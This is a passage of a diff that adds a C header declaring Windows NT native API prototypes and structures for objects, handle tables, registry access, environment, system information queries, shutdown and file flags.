NtSetInformationObject uses ObjectHandleFlagInformation +// + +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION { + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; + +// +// NtQueryDirectoryObject uses this type +// + +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenDirectoryObject( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryDirectoryObject( + IN HANDLE DirectoryHandle, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN BOOLEAN RestartScan, + IN OUT PULONG Context, + OUT PULONG ReturnLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryObject ( + IN HANDLE ObjectHandle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + OUT PVOID ObjectInformation, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationObject ( + IN HANDLE ObjectHandle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + IN PVOID ObjectInformation, + IN ULONG Length + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDuplicateObject ( + IN HANDLE SourceProcessHandle, + IN HANDLE SourceHandle, + IN HANDLE TargetProcessHandle OPTIONAL, + OUT PHANDLE TargetHandle OPTIONAL, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Options + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySecurityObject ( + IN HANDLE ObjectHandle, + IN SECURITY_INFORMATION SecurityInformation, + OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG DescriptorLength, + OUT PULONG ReturnLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetSecurityObject ( + IN HANDLE ObjectHandle, + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR SecurityDescriptor + ); + + +//----------------------------------------------------------------------------- +// Handle table RTL functions + +#define LEVEL_HANDLE_ID 0x74000000 +#define LEVEL_HANDLE_ID_MASK 0xFF000000 +#define LEVEL_HANDLE_INDEX_MASK 0x00FFFFFF + +typedef enum _RTL_GENERIC_COMPARE_RESULTS { + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + + +typedef struct _RTL_SPLAY_LINKS +{ + struct _RTL_SPLAY_LINKS *Parent; + struct _RTL_SPLAY_LINKS *LeftChild; + struct _RTL_SPLAY_LINKS *RightChild; +} RTL_SPLAY_LINKS, *PRTL_SPLAY_LINKS; + + +struct _RTL_GENERIC_TABLE; + +typedef +RTL_GENERIC_COMPARE_RESULTS +(NTAPI * PRTL_GENERIC_COMPARE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID FirstStruct, + PVOID SecondStruct + ); + +typedef +PVOID +(NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + ULONG ByteSize + ); + +typedef +VOID +(NTAPI *PRTL_GENERIC_FREE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID Buffer + ); + + +typedef struct _RTL_GENERIC_TABLE { + PRTL_SPLAY_LINKS TableRoot; + LIST_ENTRY InsertOrderList; + PLIST_ENTRY OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_GENERIC_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_GENERIC_TABLE, *PRTL_GENERIC_TABLE; + + +typedef struct _RTL_HANDLE_TABLE_ENTRY +{ + struct _RTL_HANDLE_TABLE_ENTRY *Next; /* pointer to next free handle */ + PVOID Object; + +} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY; + + +typedef struct _RTL_HANDLE_TABLE +{ + ULONG MaximumNumberOfHandles; + ULONG SizeOfHandleTableEntry; + ULONG Unknown01; + ULONG Unknown02; + PRTL_HANDLE_TABLE_ENTRY FreeHandles; + PRTL_HANDLE_TABLE_ENTRY CommittedHandles; + PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; + PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; +} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE; + + +NTSYSAPI +VOID +NTAPI +RtlInitializeGenericTable ( + IN PRTL_GENERIC_TABLE Table, + IN PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, + IN PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, + IN PRTL_GENERIC_FREE_ROUTINE FreeRoutine, + IN PVOID TableContext + ); + + +NTSYSAPI +VOID +NTAPI +RtlInitializeHandleTable( + IN ULONG MaximumNumberOfHandles, + IN ULONG SizeOfHandleTableEntry, + OUT PRTL_HANDLE_TABLE HandleTable + ); + + +NTSYSAPI +PRTL_HANDLE_TABLE_ENTRY +NTAPI +RtlAllocateHandle( + IN PRTL_HANDLE_TABLE HandleTable, + OUT PULONG HandleIndex OPTIONAL + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlFreeHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN PRTL_HANDLE_TABLE_ENTRY Handle + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidIndexHandle( + IN PRTL_HANDLE_TABLE HandleTable, + IN ULONG HandleIndex, + OUT PRTL_HANDLE_TABLE_ENTRY *Handle + ); + + +NTSYSAPI +PVOID +NTAPI +RtlInsertElementGenericTable ( + IN PRTL_GENERIC_TABLE Table, + IN PVOID Buffer, + IN LONG BufferSize, + OUT PBOOLEAN NewElement OPTIONAL + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsGenericTableEmpty ( + IN PRTL_GENERIC_TABLE Table + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsGenericTableEmpty ( + IN PRTL_GENERIC_TABLE Table + ); + + +NTSYSAPI +PVOID +NTAPI +RtlLookupElementGenericTable ( + IN PRTL_GENERIC_TABLE Table, + IN PVOID Buffer + ); + + +NTSYSAPI +PVOID +NTAPI +RtlEnumerateGenericTableWithoutSplaying( + IN PRTL_GENERIC_TABLE Table, + IN PVOID *RestartKey + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtClose( + IN HANDLE Handle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwClose( + IN HANDLE Handle + ); + +//----------------------------------------------------------------------------- +// Environment functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlOpenCurrentUser( + IN ULONG DesiredAccess, + OUT PHANDLE CurrentUserKey + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateEnvironment( + BOOLEAN CloneCurrentEnvironment, + PVOID *Environment + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable_U ( + PVOID Environment, + PUNICODE_STRING Name, + PUNICODE_STRING Value + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetEnvironmentVariable( + PVOID *Environment, + PUNICODE_STRING Name, + PUNICODE_STRING Value + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDestroyEnvironment( + PVOID Environment + ); + +//----------------------------------------------------------------------------- +// Registry functions + + +typedef enum _KEY_INFORMATION_CLASS +{ + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + MaxKeyInfoClass // MaxKeyInfoClass should always be the last enum + +} KEY_INFORMATION_CLASS; + +// +// Key query structures +// + +typedef struct _KEY_BASIC_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; // Variable length string + +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; + + +typedef struct _KEY_NODE_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG NameLength; + WCHAR Name[1]; // Variable length string +// Class[1]; // Variable length string not declared +} KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION; + + +typedef struct _KEY_FULL_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; // Variable length + +} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION; + + +// end_wdm +typedef struct _KEY_NAME_INFORMATION +{ + ULONG NameLength; + WCHAR Name[1]; // Variable length string + +} KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION; + +typedef struct _KEY_CACHED_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + ULONG NameLength; + WCHAR Name[1]; // Variable length string + +} KEY_CACHED_INFORMATION, *PKEY_CACHED_INFORMATION; + + +typedef struct _KEY_FLAGS_INFORMATION +{ + ULONG UserFlags; + +} KEY_FLAGS_INFORMATION, *PKEY_FLAGS_INFORMATION; + + + +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + MaxKeyValueInfoClass // MaxKeyValueInfoClass should always be the last enum +} KEY_VALUE_INFORMATION_CLASS; + + +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; // Variable size +// Data[1]; // Variable size data not declared +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; + + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; + + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG TitleIndex, + IN PUNICODE_STRING Class OPTIONAL, + IN ULONG CreateOptions, + OUT PULONG Disposition OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryKey( + IN HANDLE KeyHandle, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtEnumerateKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_INFORMATION_CLASS KeyInformationClass, + IN PVOID KeyInformation, + IN ULONG Length, + IN PULONG ResultLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteKey( + IN HANDLE KeyHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN ULONG TitleIndex OPTIONAL, + IN ULONG Type, + IN PVOID Data, + IN ULONG DataSize + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName + ); + +//----------------------------------------------------------------------------- +// RtlQueryRegistryValues + +// +// The following flags specify how the Name field of a RTL_QUERY_REGISTRY_TABLE +// entry is interpreted. A NULL name indicates the end of the table. +// + +#define RTL_QUERY_REGISTRY_SUBKEY 0x00000001 // Name is a subkey and remainder of + // table or until next subkey are value + // names for that subkey to look at. + +#define RTL_QUERY_REGISTRY_TOPKEY 0x00000002 // Reset current key to original key for + // this and all following table entries. + +#define RTL_QUERY_REGISTRY_REQUIRED 0x00000004 // Fail if no match found for this table + // entry. + +#define RTL_QUERY_REGISTRY_NOVALUE 0x00000008 // Used to mark a table entry that has no + // value name, just wants a call out, not + // an enumeration of all values. + +#define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010 // Used to suppress the expansion of + // REG_MULTI_SZ into multiple callouts or + // to prevent the expansion of environment + // variable values in REG_EXPAND_SZ + +#define RTL_QUERY_REGISTRY_DIRECT 0x00000020 // QueryRoutine field ignored. EntryContext + // field points to location to store value. + // For null terminated strings, EntryContext + // points to UNICODE_STRING structure that + // that describes maximum size of buffer. + // If .Buffer field is NULL then a buffer is + // allocated. + // + +#define RTL_QUERY_REGISTRY_DELETE 0x00000040 // Used to delete value keys after they + // are queried. + + +// +// The following values for the RelativeTo parameter determine what the +// Path parameter to RtlQueryRegistryValues is relative to. +// + +#define RTL_REGISTRY_ABSOLUTE 0 // Path is a full path +#define RTL_REGISTRY_SERVICES 1 // \Registry\Machine\System\CurrentControlSet\Services +#define RTL_REGISTRY_CONTROL 2 // \Registry\Machine\System\CurrentControlSet\Control +#define RTL_REGISTRY_WINDOWS_NT 3 // \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion +#define RTL_REGISTRY_DEVICEMAP 4 // \Registry\Machine\Hardware\DeviceMap +#define RTL_REGISTRY_USER 5 // \Registry\User\CurrentUser +#define RTL_REGISTRY_MAXIMUM 6 +#define RTL_REGISTRY_HANDLE 0x40000000 // Low order bits are registry handle +#define RTL_REGISTRY_OPTIONAL 0x80000000 // Indicates the key node is optional + + +typedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)( + IN PWSTR ValueName, + IN ULONG ValueType, + IN PVOID ValueData, + IN ULONG ValueLength, + IN PVOID Context, + IN PVOID EntryContext + ); + +typedef struct _RTL_QUERY_REGISTRY_TABLE +{ + PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; + ULONG Flags; + PWSTR Name; + PVOID EntryContext; + ULONG DefaultType; + PVOID DefaultData; + ULONG DefaultLength; + +} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE; + + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryRegistryValues( + IN ULONG RelativeTo, + IN PCWSTR Path, + IN PRTL_QUERY_REGISTRY_TABLE QueryTable, + IN PVOID Context, + IN PVOID Environment OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Query system information + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, // 0x00 SYSTEM_BASIC_INFORMATION + SystemProcessorInformation, // 0x01 SYSTEM_PROCESSOR_INFORMATION + SystemPerformanceInformation, // 0x02 + SystemTimeOfDayInformation, // 0x03 + SystemPathInformation, // 0x04 + SystemProcessInformation, // 0x05 + SystemCallCountInformation, // 0x06 + SystemDeviceInformation, // 0x07 + SystemProcessorPerformanceInformation, // 0x08 + SystemFlagsInformation, // 0x09 + SystemCallTimeInformation, // 0x0A + SystemModuleInformation, // 0x0B SYSTEM_MODULE_INFORMATION + SystemLocksInformation, // 0x0C + SystemStackTraceInformation, // 0x0D + SystemPagedPoolInformation, // 0x0E + SystemNonPagedPoolInformation, // 0x0F + SystemHandleInformation, // 0x10 + SystemObjectInformation, // 0x11 + SystemPageFileInformation, // 0x12 + SystemVdmInstemulInformation, // 0x13 + SystemVdmBopInformation, // 0x14 + SystemFileCacheInformation, // 0x15 + SystemPoolTagInformation, // 0x16 + SystemInterruptInformation, // 0x17 + SystemDpcBehaviorInformation, // 0x18 + SystemFullMemoryInformation, // 0x19 + SystemLoadGdiDriverInformation, // 0x1A + SystemUnloadGdiDriverInformation, // 0x1B + SystemTimeAdjustmentInformation, // 0x1C + SystemSummaryMemoryInformation, // 0x1D + SystemNextEventIdInformation, // 0x1E + SystemEventIdsInformation, // 0x1F + SystemCrashDumpInformation, // 0x20 + SystemExceptionInformation, // 0x21 + SystemCrashDumpStateInformation, // 0x22 + SystemKernelDebuggerInformation, // 0x23 + SystemContextSwitchInformation, // 0x24 + SystemRegistryQuotaInformation, // 0x25 + SystemExtendServiceTableInformation, // 0x26 + SystemPrioritySeperation, // 0x27 + SystemPlugPlayBusInformation, // 0x28 + SystemDockInformation, // 0x29 + //SystemPowerInformation, // 0x2A + //SystemProcessorSpeedInformation, // 0x2B + //SystemCurrentTimeZoneInformation, // 0x2C + //SystemLookasideInformation // 0x2D + +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +// +// Thread priority +// + +typedef LONG KPRIORITY; + +// +// Basic System information +// NtQuerySystemInformation with SystemBasicInformation +// + +typedef struct _SYSTEM_BASIC_INFORMATION { + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + ULONG NumberOfPhysicalPages; + ULONG LowestPhysicalPageNumber; + ULONG HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG MinimumUserModeAddress; + ULONG MaximumUserModeAddress; + KAFFINITY ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + +// +// Processor information +// NtQuerySystemInformation with SystemProcessorInformation +// + +typedef struct _SYSTEM_PROCESSOR_INFORMATION { + USHORT ProcessorArchitecture; + USHORT ProcessorLevel; + USHORT ProcessorRevision; + USHORT Reserved; + ULONG ProcessorFeatureBits; +} SYSTEM_PROCESSOR_INFORMATION, *PSYSTEM_PROCESSOR_INFORMATION; + +// +// Performance information +// NtQuerySystemInformation with SystemPerformanceInformation +// + +typedef struct _SYSTEM_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleProcessTime; + LARGE_INTEGER IoReadTransferCount; + LARGE_INTEGER IoWriteTransferCount; + LARGE_INTEGER IoOtherTransferCount; + ULONG IoReadOperationCount; + ULONG IoWriteOperationCount; + ULONG IoOtherOperationCount; + ULONG AvailablePages; + ULONG CommittedPages; + ULONG CommitLimit; + ULONG PeakCommitment; + ULONG PageFaultCount; + ULONG CopyOnWriteCount; + ULONG TransitionCount; + ULONG CacheTransitionCount; + ULONG DemandZeroCount; + ULONG PageReadCount; + ULONG PageReadIoCount; + ULONG CacheReadCount; + ULONG CacheIoCount; + ULONG DirtyPagesWriteCount; + ULONG DirtyWriteIoCount; + ULONG MappedPagesWriteCount; + ULONG MappedWriteIoCount; + ULONG PagedPoolPages; + ULONG NonPagedPoolPages; + ULONG PagedPoolAllocs; + ULONG PagedPoolFrees; + ULONG NonPagedPoolAllocs; + ULONG NonPagedPoolFrees; + ULONG FreeSystemPtes; + ULONG ResidentSystemCodePage; + ULONG TotalSystemDriverPages; + ULONG TotalSystemCodePages; + ULONG NonPagedPoolLookasideHits; + ULONG PagedPoolLookasideHits; + ULONG Spare3Count; + ULONG ResidentSystemCachePage; + ULONG ResidentPagedPoolPage; + ULONG ResidentSystemDriverPage; + ULONG CcFastReadNoWait; + ULONG CcFastReadWait; + ULONG CcFastReadResourceMiss; + ULONG CcFastReadNotPossible; + ULONG CcFastMdlReadNoWait; + ULONG CcFastMdlReadWait; + ULONG CcFastMdlReadResourceMiss; + ULONG CcFastMdlReadNotPossible; + ULONG CcMapDataNoWait; + ULONG CcMapDataWait; + ULONG CcMapDataNoWaitMiss; + ULONG CcMapDataWaitMiss; + ULONG CcPinMappedDataCount; + ULONG CcPinReadNoWait; + ULONG CcPinReadWait; + ULONG CcPinReadNoWaitMiss; + ULONG CcPinReadWaitMiss; + ULONG CcCopyReadNoWait; + ULONG CcCopyReadWait; + ULONG CcCopyReadNoWaitMiss; + ULONG CcCopyReadWaitMiss; + ULONG CcMdlReadNoWait; + ULONG CcMdlReadWait; + ULONG CcMdlReadNoWaitMiss; + ULONG CcMdlReadWaitMiss; + ULONG CcReadAheadIos; + ULONG CcLazyWriteIos; + ULONG CcLazyWritePages; + ULONG CcDataFlushes; + ULONG CcDataPages; + ULONG ContextSwitches; + ULONG FirstLevelTbFills; + ULONG SecondLevelTbFills; + ULONG SystemCalls; +} SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; + +// +// Time of Day information +// NtQuerySystemInformation with SystemTimeOfDayInformation +// + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; +} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + +// +// Process information +// NtQuerySystemInformation with SystemProcessInformation +// + +typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; + ULONG HandleCount; + // Next part is platform dependent + +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + +// +// Device information +// NtQuerySystemInformation with SystemDeviceInformation +// + +typedef struct _SYSTEM_DEVICE_INFORMATION { + ULONG NumberOfDisks; + ULONG NumberOfFloppies; + ULONG NumberOfCdRoms; + ULONG NumberOfTapes; + ULONG NumberOfSerialPorts; + ULONG NumberOfParallelPorts; +} SYSTEM_DEVICE_INFORMATION, *PSYSTEM_DEVICE_INFORMATION; + +// +// Processor performance information +// NtQuerySystemInformation with SystemProcessorPerformanceInformation +// + +typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; // DEVL only + LARGE_INTEGER InterruptTime; // DEVL only + ULONG InterruptCount; +} SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +// +// NT Global Flag information +// NtQuerySystemInformation with SystemFlagsInformation +// + +typedef struct _SYSTEM_FLAGS_INFORMATION +{ + ULONG GlobalFlag; + +} SYSTEM_FLAGS_INFORMATION, *PSYSTEM_FLAGS_INFORMATION; + +// +// System Module information +// NtQuerySystemInformation with SystemModuleInformation +// + +typedef struct _SYSTEM_MODULE +{ + ULONG Reserved1; // Should be 0xBAADF00D + ULONG Reserved2; // Should be zero + PVOID Base; + ULONG Size; + ULONG Flags; + USHORT Index; + USHORT Unknown; + USHORT LoadCount; + USHORT ModuleNameOffset; + CHAR ImageName[256]; + +} SYSTEM_MODULE, *PSYSTEM_MODULE; + + +typedef struct _SYSTEM_MODULE_INFORMATION +{ + ULONG ModulesCount; + SYSTEM_MODULE Modules[1]; + +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +/* +typedef struct _SYSTEM_VDM_INSTEMUL_INFO { + ULONG SegmentNotPresent ; + ULONG VdmOpcode0F ; + ULONG OpcodeESPrefix ; + ULONG OpcodeCSPrefix ; + ULONG OpcodeSSPrefix ; + ULONG OpcodeDSPrefix ; + ULONG OpcodeFSPrefix ; + ULONG OpcodeGSPrefix ; + ULONG OpcodeOPER32Prefix; + ULONG OpcodeADDR32Prefix; + ULONG OpcodeINSB ; + ULONG OpcodeINSW ; + ULONG OpcodeOUTSB ; + ULONG OpcodeOUTSW ; + ULONG OpcodePUSHF ; + ULONG OpcodePOPF ; + ULONG OpcodeINTnn ; + ULONG OpcodeINTO ; + ULONG OpcodeIRET ; + ULONG OpcodeINBimm ; + ULONG OpcodeINWimm ; + ULONG OpcodeOUTBimm ; + ULONG OpcodeOUTWimm ; + ULONG OpcodeINB ; + ULONG OpcodeINW ; + ULONG OpcodeOUTB ; + ULONG OpcodeOUTW ; + ULONG OpcodeLOCKPrefix ; + ULONG OpcodeREPNEPrefix ; + ULONG OpcodeREPPrefix ; + ULONG OpcodeHLT ; + ULONG OpcodeCLI ; + ULONG OpcodeSTI ; + ULONG BopCount ; +} SYSTEM_VDM_INSTEMUL_INFO, *PSYSTEM_VDM_INSTEMUL_INFO; + + +typedef struct _SYSTEM_QUERY_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + ULONG TimeIncrement; + BOOLEAN Enable; +} SYSTEM_QUERY_TIME_ADJUST_INFORMATION, *PSYSTEM_QUERY_TIME_ADJUST_INFORMATION; + +typedef struct _SYSTEM_SET_TIME_ADJUST_INFORMATION { + ULONG TimeAdjustment; + BOOLEAN Enable; +} SYSTEM_SET_TIME_ADJUST_INFORMATION, *PSYSTEM_SET_TIME_ADJUST_INFORMATION; + + +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + LONG BasePriority; + ULONG ContextSwitches; + ULONG ThreadState; + ULONG WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_MEMORY_INFO { + PUCHAR StringOffset; + USHORT ValidCount; + USHORT TransitionCount; + USHORT ModifiedCount; + USHORT PageTableCount; +} SYSTEM_MEMORY_INFO, *PSYSTEM_MEMORY_INFO; + +typedef struct _SYSTEM_MEMORY_INFORMATION { + ULONG InfoSize; + ULONG StringStart; + SYSTEM_MEMORY_INFO Memory[1]; +} SYSTEM_MEMORY_INFORMATION, *PSYSTEM_MEMORY_INFORMATION; + +typedef struct _SYSTEM_CALL_COUNT_INFORMATION { + ULONG Length; + ULONG NumberOfTables; + //ULONG NumberOfEntries[NumberOfTables]; + //ULONG CallCounts[NumberOfTables][NumberOfEntries]; +} SYSTEM_CALL_COUNT_INFORMATION, *PSYSTEM_CALL_COUNT_INFORMATION; + +typedef struct _SYSTEM_CRASH_DUMP_INFORMATION { + HANDLE CrashDumpSection; +} SYSTEM_CRASH_DUMP_INFORMATION, *PSYSTEM_CRASH_DUMP_INFORMATION; + +typedef struct _SYSTEM_EXCEPTION_INFORMATION { + ULONG AlignmentFixupCount; + ULONG ExceptionDispatchCount; + ULONG FloatingEmulationCount; + ULONG ByteWordEmulationCount; +} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; + +typedef struct _SYSTEM_CRASH_STATE_INFORMATION { + ULONG ValidCrashDump; +} SYSTEM_CRASH_STATE_INFORMATION, *PSYSTEM_CRASH_STATE_INFORMATION; + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { + ULONG RegistryQuotaAllowed; + ULONG RegistryQuotaUsed; + ULONG PagedPoolSize; +} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; + +typedef struct _SYSTEM_GDI_DRIVER_INFORMATION { + UNICODE_STRING DriverName; + PVOID ImageAddress; + PVOID SectionPointer; + PVOID EntryPoint; + PIMAGE_EXPORT_DIRECTORY ExportSectionPointer; +} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION; +*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySystemInformation( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT PULONG ReturnLength + ); + +//------------------------------------------------------------------------------ +// Shutdown system + +typedef enum _SHUTDOWN_ACTION +{ + ShutdownNoReboot, + ShutdownReboot, + ShutdownPowerOff + +} SHUTDOWN_ACTION, *PSHUTDOWN_ACTION; + + +NTSYSAPI +NTSTATUS +NTAPI +NtShutdownSystem( + IN SHUTDOWN_ACTION Action + ); + +//----------------------------------------------------------------------------- +// File functions + +#ifndef OLD_DOS_VOLID +#define OLD_DOS_VOLID 0x00000008 +#endif + +#ifndef FILE_SUPERSEDE +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 +#endif // File create flags + + +// Define the create/open option flags +#ifndef FILE_DIRECTORY_FILE +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define 